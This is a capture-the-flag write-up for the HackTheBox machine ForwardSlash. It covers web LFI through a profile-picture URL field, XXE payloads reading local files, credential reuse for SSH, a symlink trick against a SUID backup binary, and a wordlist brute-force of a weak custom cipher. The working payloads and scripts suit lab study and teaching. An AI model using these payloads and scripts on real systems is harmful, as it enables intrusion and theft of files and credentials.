HackTheBox - ForwardSlash

— Written by — 26 min read
forwardslash-hackthebox

ForwardSlash just retired on Hackthebox. It was a really cool box but full of rabbit holes. Rated hard difficulty it is a very “CTF-Like” box that could be very frustrating for some but also very fun for others. Globally I really enjoyed this box and learned a few tricks. The only drawbacks of this one is to require users to reset the box after getting the root flag since the root access greatly spoil other users. Unfortunately most users don’t clean up after them leaving the root access wide open and easy.

Tl;Dr: The user flag consisted in accessing a backup website location, creating account on it as admin. From there you could exploit a Local File Inclusion (LFI) and XML External Entity Injection (XXE) vulnerability to extract php files containing credentials for chiv user. Next step was to pivot from chiv to pain user by reversing a suid home-made backup manager to display config file backup using a symbolic link.
The root flag could be accessed after decrypting a encrypted text file in pain home folder. Having access to the decryption function and using a weak algorithm it was possible to brute-force the key used to encrypt the text file that turn out to contains the password of an encrypted LUKS disk containing the root user SSH private key file.

The box had 2 ways to access to chiv user and an unintended way to access root flag that I will describe in this write-up.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the host file:

1
[[email protected] ~]$ echo "10.10.10.183 forwardslash.htb" >> /etc/hosts

and let’s start!

User flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ nmap -sV -sT -sC forwardslash.htb      
Nmap scan report for forwardslash.htb (10.10.10.183)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Backslash Gang
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds

We have the “classic”: A web app running on port 80 and the SSH port 22 open.

Opening http://forwardslash.htb/ display the following website:

Forwardslash homepage

Another hacked website?

The message seems to gives us information about the website got compromised:

This was ridiculous, who even uses XML and Automatic FTP Logins

Let’s keep that in mind for later.

Let’s now run gobuster to see if he can find some juicy files and folders:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ gobuster dir -u "http://forwardslash.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)

Nothing? That’s odd… Let’s try with different file extension. First with .xml since it’s stated in the hacker message. Still no results…

Trying other common extensions until….

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ gobuster dir -u "http://forwardslash.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/note.txt (Status: 200)
/server-status (Status: 403)

note.txt that’s not much but it’s a start!

1
2
3
4
5
[[email protected] ~]$ curl http://forwardslash.htb/note.txt
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name...
Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.

-chiv

It’s a note from one of the website developer. The interesting part is him saying we still have that backup site. Since gobuster didn’t discover any other subdirectories and nmap no other open ports, what remains ? Subdomain probably.

To give a try let’s add backup.forwardslash.htb to our host file:

1
[[email protected] ~]$ echo "10.10.10.183 backup.forwardslash.htb" >> /etc/hosts

And bingo, opening http://backup.forwardslash.htb/ display a login form:

backup forwardslash login

ForwardSlash Backup Site

First thing I always try when stumbling upon Login form is trying to login with the credentials admin:admin. This time it doesn’t work but an error message is returned:

No account found with that username “admin”.

Might be interesting to keep in mind for later.

Since there is a register form let’s create an account and connect to this backup platform.

welcome page backup forwardslash

We arrive to a dashboard with different options for editing our current accounts and two informations pages.

Let’s focus on the “Change profile picture” page. Profile picture upload page are often a good way to upload a web shell to a server.

Method 1: Profile picture Local File Inclusion

Once opening the page we get another message from the pain user:

change picture forwardslash

While inspecting the source code we can indeed see that both text file and submit button have been set to disabled.

remove disabled forwardslash

From the first look it seems like simply removing the disabled attribute will allow us to use the form.

Since the form takes an URL as input, let’s open a python web server on our machine to see if the form is making call to the given url:

1
2
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

form call forwardslash

And indeed when validating the form a new request appear on our web server confirming that the “Photo Update” function is still running and only the HTML form got disabled:

1
2
3
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.183 - - [08/Apr/2020 20:38:25] "GET / HTTP/1.0" 200 -

But something more interesting appear on the page:

return page forwardslash

The web server return message gets displayed below the form.

Something else come to my mind. Seeing the box name ForwardSlash can we use this form to achieve Local File Inclusion ? Let’s see if we can access the index.php file from here.

Permission Denied; not that way ;)

Seems like we are almost on the right track… Let’s try the classical /etc/passwd to validate -or not- the LFI theory:

etc passwd forwardslash

Bingo! We can see two users on the box: chiv and pain. The same two developers we have seen leaving messages around. Let’s keep that in mind for later.

Now let’s try to access other useful files using this LFI. From here I decided to write a small script to ease the LFI process. As much as possible it’s always good to write your own script to make sure you understand every steps you are doing.

This script is clearly not the prettiest one nor that most performant to it do the job well enough:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import sys
import re

PHPSESSID = "xxxxxxxxxxxxxxxxxxxxx"

cookies = {'PHPSESSID': PHPSESSID}

while True:
file_path = input('File path > ')

payload = {'url': file_path}

r = requests.post("http://backup.forwardslash.htb/profilepicture.php",
cookies=cookies,
data=payload)

if len(r.content) != 689: # 689 is the size or "normal" response
file_only = re.sub('<!(.*?)/html>', '', r.text, 1, re.DOTALL)
print(file_only)
continue

print("Permission Denied / File does not exist")

Let’s give it a try:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[[email protected] ~]$ python lfi-blog.py
File path > /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

File path >

Faster and easier to read right ?

Using this let’s try to access as much file as we can, first let’s try the usual sensitive SSH keys:

1
2
3
4
5
6
[[email protected] ~]$ python lfi-blog.py
File path > /home/chiv/.ssh/id_rsa
Permission Denied / File does not exist
File path > /home/pain/.ssh/id_rsa
Permission Denied / File does not exist
File path >

It would have been too easy right of course. Maybe if we can find the web app path we can access the app source code with sensitive informations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[[email protected] ~]$ python lfi-blog.py
File path > config.php

<?php
//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

Here we have the credentials of the temp database, this won’t be very useful. Since we know the server is Apache let’s see if the web app is stored in the default Apache folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ python lfi-blog.py
File path > /var/www/html/index.php
<?php
//if ($_SERVER['SERVER_NAME'] !== "forwardslash.htb") {
if ($_SERVER['SERVER_NAME'] !== "forwardslash.htb") {
header("Location: http://forwardslash.htb");
exit;
}
?>

[...]
You call this security? <font color="red">LOL</font>, absolute trash server... |
[...]

Unfortunately it’s the defaced website laying here and it’s the backup website that will be interesting for us. Knowing that the server is Apache you can guess that backup.forwardslash.htb is using a Virtual Host.

In addition a common practice is to use the domain name as folder to setup Virtual Host since it’s easier for organization. For example:

1
2
3
4
5
6
7
8
9
10
Listen 80
<VirtualHost *:80>
DocumentRoot "/var/www/html"
ServerName forwardslash.htb
</VirtualHost>

<VirtualHost *:80>
DocumentRoot "/var/www/forwardslash.htb"
ServerName backup.forwardslash.htb
</VirtualHost>

Let’s now try to see if our theory is correct:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ python lfi-blog.py
File path > /var/www/backup.forwardslash.htb/register.php

<?php
// Include config file
require_once "config.php";

// Define variables and initialize with empty values
$username = $password = $confirm_password = "";
$username_err = $password_err = $confirm_password_err = "";
[...]

Alright! We have the right path. Now let’s check for files found previously by gobuster. One that particularly catch the eye is the /dev/ folder since we can not access it:

dev endpoint forwardslash

Let’s see if we can access the index.php inside this folder to see what it is doing:

1
2
3
4
5
6
[[email protected] ~]$ python lfi-blog.py
File path > /var/www/backup.forwardslash.htb/dev/index.php
<?php
[...]
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
[...]

FTP credentials for chiv user, that explains why the defaced homepage mentioned “who even uses XML and Automatic FTP Logins“.

Since nmap didn’t return any open FTP server let’s try to reuse those credentials to login into SSH:

1
2
3
4
5
6
7
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Tue Mar 24 11:34:37 2020 from 10.10.14.3
[email protected]:~$ ls
[email protected]:~$

Method 2: XXE Local File Inclusion on /dev/ API

The second method was the main one to go to. That’s the one I used. Let’s see in detail the process.

First let’s see the first rabbit hole I fell into. Knowing that the /dev/ endpoint can’t be accessed from our host, we can imagine it’s accessible from 127.0.0.1 right ?
With this knowledge we could probably exploit again the profilepicture.php page to access this page using SSRF. Let’s give a try:

SSRF forwardslash

Alright, that’s a good progress, we managed to access the /dev/ endpoint. This gives us a few ideas of what is there:

  • An XML API

  • A page (index.php) to test this API

  • And probably something related to FTP as seen in the /dev/index.php page source code : <!-- TODO: Fix FTP Login-->.

That’s a lot of useful informations, but what can we really do from here ? Unfortunately not much now since the /dev/index.php page is “interactive”. After trying to exploit this page page from the profilepicture.php in every possible ways I finally gave up thinking it’s not the right way to go.

When this happen I like to go back to the beginning to make sure I didn’t miss something important. While doing so I remembered my notes:

No account found with that username “admin”.

Might be interesting to keep that in mind for later.

In the same idea of the recently released “Book” box let’s try to create the admin account to see if you can gain extra privileges on the app:

admin account forwardslash

It works, at first it don’t seems like we have extra privileges… What about that /dev/ endpoint?

dev endpoint admin forwardslash

That’s a great progress! And now we can access the returned output of the test function. Now we can focus on finding a vulnerability in this XML Api using the test function.

The first thing that come to mind when working with XML is XXE (XML External Entity Processing). We can see that the content of <request> node is reflected in the output of the API. Can we exploit this behavior to access local resources?

Let’s try with the most common XXE injection adapted to this API format:

1
2
3
4
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<api>
<request>&xxe;</request>
</api>

XXE forwardslash

Bingo! Let’s now try to access the current page (index.php) to see if we can find details about FTP mentioned in the code source.

If we can guess the current page full path we can go the same way:

1
2
3
4
5
<!DOCTYPE foo 
[<!ENTITY xxe SYSTEM "file:///var/www/forwardslash.htb/dev/index.php">]>
<api>
<request>&xxe;</request>
</api>

In the case we didn’t know the full current path, it’s also possible to access it using php://filter:

1
2
3
4
5
<!DOCTYPE foo 
[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<api>
<request>&xxe;</request>
</api>

php filter xxe forwardslash

Looks good! Let’s decode this output to see the content of the index.php file:

1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ cat output | base64 -d > index.php
[[email protected] ~]$ head index.php
<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
[[email protected] ~]$

And while looking around this index.php we stumbled across:

1
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

FTP credentials for chiv user, that explains why the defaced homepage mentioned “who even uses XML and Automatic FTP Logins“.

Since nmap didn’t return any open FTP server let’s try to reuse those credentials to login into SSH:

1
2
3
4
5
6
7
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Tue Mar 24 11:34:37 2020 from 10.10.10.10
[email protected]:~$ ls
[email protected]:~$

Pivot chiv -> pain

As we noticed earlier we are going to need to pivot from chiv to pain user in order to gain access to the user flag:

1
2
3
4
5
[email protected]:~$ ls -l /home/pain
total 12
drwxr-xr-x 2 pain root 4096 Mar 24 12:06 encryptorinator
-rw-r--r-- 1 pain root 256 Jun 3 2019 note.txt
-rw------- 1 pain pain 33 Apr 15 00:33 user.txt

In pain home folder we can read a note.txt:

1
2
3
4
5
6
7
[email protected]:/$ cat /home/pain/note.txt
Pain, even though they got into our server, I made sure to encrypt any
important files and then did some crypto magic on the key...
I gave you the key in person the other day, so unless these hackers
are some crypto experts we should be good to go.

-chiv

The tool used to “encrypt“ the important files is also present in pain home folder:

1
2
3
4
5
6
7
8
9
[email protected]:~$ ls -l /home/pain/encryptorinator/
total 8
-rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext
-rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py
[email protected]:~$ cat /home/pain/encryptorinator/ciphertext
,L
>2Xբ
|?I)E-˒\/;y[w#M2ʐ[email protected]'缘泣,[email protected]$\*rwF3gX}i6~KY'%e>xo+g/K>^Nke
[email protected]:~$

Alright, we have a encrypted file and the tool used to encrypt it, if we manage to break the crypto, the cipher will probably offer us a clue to gain access to pain user right ?

well yes but actually no

While you can spend time on breaking the crypto -spoiler alert- this will only be useful to gain access to root, and not pain user.

Let’s focus on another unusual point that seems interesting about pain account:

1
2
[email protected]:~$ id pain
uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)

pain belongs to the backupoperator group, so there is definitely something going on with a backup process.

While continuing the recon process we stumble across an uncommon backup files:

1
2
3
[email protected]:~$ ls -l /var/backups/
-rw------- 1 pain pain 526 Jun 21 2019 config.php.bak
drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery

And an uncommon SUID binary belonging to pain:

1
2
c[email protected]:~$ find /usr/bin/ -perm -u=s -type f
-r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 backup

That’s probably the backup file and tool mentioned in chiv user note.txt?

Let’s try to see what’s this backup tool is doing:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:/$ /usr/bin/backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 07:50:39
ERROR: 4e5cc88469959df047cf694749b0e917 Does Not Exist or Is Not Accessible By Me, Exiting...
[email protected]:/$

Uhm… This doesn’t give us a lot of information:

ERROR: 4e5cc88469959df047cf694749b0e917 Does Not Exist or Is Not Accessible By Me, Exiting…

4e5cc88469959df047cf694749b0e917 is MD5, but of what ? At each run of the binary this MD5 change.

Let’s run the binary through ltrace to see what is it actually doing “behind the hood”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[email protected]:/$ ltrace /usr/bin/backup
getuid() = 1001
getgid() = 1001
puts("--------------------------------"...----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------

) = 277
time(0) = 1586160529
localtime(0x7ffe22beb160) = 0x7fcca77e66a0
malloc(13) = 0x55dc061618e0
sprintf("08:08:49", "%02d:%02d:%02d", 8, 8, 49) = 8
strlen("08:08:49") = 8
malloc(33) = 0x55dc06161900
MD5_Init(0x7ffe22beb0b0, 4000, 0x55dc06161900, 0x55dc06161900) = 1
MD5_Update(0x7ffe22beb0b0, 0x55dc061618e0, 8, 0x55dc061618e0) = 1
MD5_Final(0x7ffe22beb110, 0x7ffe22beb0b0, 0x7ffe22beb0b0, 0) = 1
snprintf("0b", 32, "%02x", 0xb) = 2
snprintf("6c", 32, "%02x", 0x6c) = 2
snprintf("c9", 32, "%02x", 0xc9) = 2
snprintf("24", 32, "%02x", 0x24) = 2
snprintf("3d", 32, "%02x", 0x3d) = 2
snprintf("b1", 32, "%02x", 0xb1) = 2
snprintf("b3", 32, "%02x", 0xb3) = 2
snprintf("a3", 32, "%02x", 0xa3) = 2
snprintf("79", 32, "%02x", 0x79) = 2
snprintf("ef", 32, "%02x", 0xef) = 2
snprintf("a9", 32, "%02x", 0xa9) = 2
snprintf("56", 32, "%02x", 0x56) = 2
snprintf("41", 32, "%02x", 0x41) = 2
snprintf("90", 32, "%02x", 0x90) = 2
snprintf("62", 32, "%02x", 0x62) = 2
snprintf("94", 32, "%02x", 0x94) = 2
printf("Current Time: %s\n", "08:08:49"Current Time: 08:08:49
) = 23
setuid(1002) = -1
setgid(1002) = -1
access("0b6cc9243db1b3a379efa95641906294"..., 0) = -1
printf("ERROR: %s Does Not Exist or Is N"..., "0b6cc9243db1b3a379efa95641906294"...ERROR: 0b6cc9243db1b3a379efa95641906294 Does Not Exist or Is Not Accessible By Me, Exiting...
) = 94
setuid(1001) = 0
setgid(1001) = 0
remove("0b6cc9243db1b3a379efa95641906294"...) = -1
+++ exited (status 0) +++

Ok so let’s break it down:

  1. We get the current user uid and guid
1
2
getuid() = 1001
getgid() = 1001
  1. The current time get generated:
1
2
3
4
5
time(0)                                         = 1586160529
localtime(0x7ffe22beb160) = 0x7fcca77e66a0
malloc(13) = 0x55dc061618e0
sprintf("08:08:49", "%02d:%02d:%02d", 8, 8, 49) = 8
strlen("08:08:49") = 8
  1. A MD5 digest is made of the current time generated previously:
1
MD5_Update(0x7ffe22beb0b0, 0x55dc061618e0, 8, 0x55dc061618e0) = 1
  1. The uid and guid is changed to 1002 which correspond to the backupoperator group in which pain belongs:
1
2
setuid(1002) = -1
setgid(1002) = -1
  1. The binary try to access a file named after the MD5 digest generated previously and output error if the file does not exist:
1
2
access("0b6cc9243db1b3a379efa95641906294"..., 0) = -1
printf("ERROR: %s Does Not Exist or Is N"..., "0b6cc9243db1b3a379efa95641906294"...ERROR: 0b6cc9243db1b3a379efa95641906294 Does Not Exist or Is Not Accessible By Me, Exiting...) = 94
  1. The uid and guid is set back to normal one and the file gets deleted:
1
2
3
setuid(1001)                                  = 0
setgid(1001) = 0
remove("0b6cc9243db1b3a379efa95641906294"...) = -1

Tl;Dr: The backup binary is looking for a file with a specific name (MD5 of current time) as backupoperator group.

Let’s create a small script to create this specific file to see what happen when the backup find the file he is searching for.

Let’s make it simple to start with:

1
2
3
4
5
#!/bin/sh
DATE=$(date +"%T") # Get the current time
MD5=$(echo -n "$DATE" | md5sum | awk '{print $1}') # MD5 of current time
echo "hello" > "$MD5" # write file with MD5 digest as name and 'hello' as content
ltrace /usr/bin/backup

The ltrace output now is slightly different:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
[email protected]:/$ bash /tmp/.tmp/test-backup.sh
getuid() = 1001
getgid() = 1001
puts("--------------------------------"...----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------

) = 277
time(0) = 1586160529
localtime(0x7ffe22beb160) = 0x7fcca77e66a0
malloc(13) = 0x55dc061618e0
sprintf("08:08:49", "%02d:%02d:%02d", 8, 8, 49) = 8
strlen("08:08:49") = 8
malloc(33) = 0x55dc06161900
MD5_Init(0x7ffe22beb0b0, 4000, 0x55dc06161900, 0x55dc06161900) = 1
MD5_Update(0x7ffe22beb0b0, 0x55dc061618e0, 8, 0x55dc061618e0) = 1
MD5_Final(0x7ffe22beb110, 0x7ffe22beb0b0, 0x7ffe22beb0b0, 0) = 1
snprintf("0b", 32, "%02x", 0xb) = 2
snprintf("6c", 32, "%02x", 0x6c) = 2
snprintf("c9", 32, "%02x", 0xc9) = 2
snprintf("24", 32, "%02x", 0x24) = 2
snprintf("3d", 32, "%02x", 0x3d) = 2
snprintf("b1", 32, "%02x", 0xb1) = 2
snprintf("b3", 32, "%02x", 0xb3) = 2
snprintf("a3", 32, "%02x", 0xa3) = 2
snprintf("79", 32, "%02x", 0x79) = 2
snprintf("ef", 32, "%02x", 0xef) = 2
snprintf("a9", 32, "%02x", 0xa9) = 2
snprintf("56", 32, "%02x", 0x56) = 2
snprintf("41", 32, "%02x", 0x41) = 2
snprintf("90", 32, "%02x", 0x90) = 2
snprintf("62", 32, "%02x", 0x62) = 2
snprintf("94", 32, "%02x", 0x94) = 2
printf("Current Time: %s\n", "08:08:49"Current Time: 08:08:49
) = 23
setuid(1002) = -1
setgid(1002) = -1
- access("0b6cc9243db1b3a379efa95641906294"..., 0) = -1
- printf("ERROR: %s Does Not Exist or Is N"..., "0b6cc9243db1b3a379efa95641906294"...ERROR: 0b6cc9243db1b3a379efa95641906294 Does Not Exist or Is Not Accessible By Me, Exiting...) = 94
+ access("07af5e466d6f9402234d31da22aed4dd"..., 0) = 0
+ fopen("07af5e466d6f9402234d31da22aed4dd"..., "r") = 0x5561d28ad690
+ fgetc(0x5561d28ad690) = 'h'
+ putchar(104, 0x5561d28ae910, 0x5561d28ae911, 0x7fe33e351081) = 104
+ fgetc(0x5561d28ad690) = 'e'
+ putchar(101, 104, 101, 0x5561d28ae912) = 101
+ fgetc(0x5561d28ad690) = 'l'
+ putchar(108, 101, 108, 0x5561d28ae913) = 108
+ fgetc(0x5561d28ad690) = 'l'
+ putchar(108, 108, 108, 0x5561d28ae914) = 108
+ fgetc(0x5561d28ad690) = 'o'
+ putchar(111, 108, 111, 0x5561d28ae915) = 111
+ fgetc(0x5561d28ad690) = '\n'
+ putchar(10, 111, 10, 0x5561d28ae916hello) = 10
+ fgetc(0x5561d28ad690) = '\377'
+ fclose(0x5561d28ad690) = 0
setuid(1001) = 0
setgid(1001) = 0
remove("0b6cc9243db1b3a379efa95641906294"...) = -1
+++ exited (status 0) +++

We can now see that the backup binary open the file and print its content to console.

So here is what we know so far: the backup binary will open a given file and display its content as pain user. Using symlink we should be able to read any files on the system owned by pain - like for example the config.php.bak file we found previously.

Let’s edit our script to try this theory:

1
2
3
4
5
#!/bin/sh
DATE=$(date +"%T") # Get the current time
MD5=$(echo -n "$DATE" | md5sum | awk '{print $1}') # MD5 of current time
ln -s /var/backups/config.php.bak $MD5
/usr/bin/backup

And let’s run it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:/$ bash /tmp/.tmp/test-backup.sh
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 09:38:04
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

Neat, we got a new password for pain, while it’s for MySQL let’s try it on SSH:

1
2
3
4
5
6
7
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Wed Apr 15 14:33:29 2020 from 10.10.10.10
[email protected]:~$ cat user.txt
3xxxxxxxxxxxxxxxxxxxxxxc

Root flag

Recon

Ok, after few struggles here we are with pain user. From here no need for a lot of recon since everything we need is in the home folder:

1
2
3
4
5
[email protected]:~$ ls -l
total 12
drwxr-xr-x 2 pain root 4096 Mar 24 12:06 encryptorinator
-rw-r--r-- 1 pain root 256 Jun 3 2019 note.txt
-rw------- 1 pain pain 33 Apr 15 00:33 user.txt

As a reminder the note.txt contains the following message:

Pain, even though they got into our server, I made sure to encrypt any
important files and then did some crypto magic on the key…
I gave you the key in person the other day, so unless these hackers
are some crypto experts we should be good to go.

-chiv

If we look into the encryptorinator folder we can find what chiv is talking about:

1
2
3
4
[email protected]:~$ ls -l encryptorinator/
total 8
-rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext
-rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py

ciphertext seems to be the “important file“ that got encrypted, and encrypter.py is definitely the tool used to encrypt the file. Let’s take a look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)

def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)

print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

Ok, this is a not very robust crypto mechanism but definitely not trivial to break. On in opposition to Obscurity box we don’t have a clear text equivalent of the ciphertext that could help us find the key.

Two things are still interesting here. First we have access to the decrypt function. Second chiv says in the note.txt:

I gave you the key in person the other day

Well if the key was given in person, on a paper probably, it surely can’t be a super complicated key right…

Maybe we can try to brute-force it ?

Encryption key bruteforce

Let’s copy the script to our machine and tweak it a bit to brute-force the key using a wordlist.

One thing we need to think about is how our script will detect the key is correct.

We can notice that trying to decrypt the ciphertext with an incorrect key only output garbage:

1
2
3
[[email protected] ~]$ python decrypter.py
Using key: 123456
Output: T:f;шā*4:M/'[email protected]ѷ~p2%ym/oPl+C1Rn/3ᚊʘ<>[P0с:JޢqLd]9˷?;0v~qVKܧUf"e`.,*d X

Knowing this let’s make an if condition stopping the script if the output contains printable characters only, meaning the key is valid. Here is a first version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import string

def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)

with open('ciphertext', 'r') as content_file:
encrypted = content_file.read()

with open("rockyou.txt", 'r') as f:
for line in f:
password = line.strip()
decrypted = decrypt(password, encrypted)
if all(c in string.printable for c in decrypted):
print "Key found!: " + password
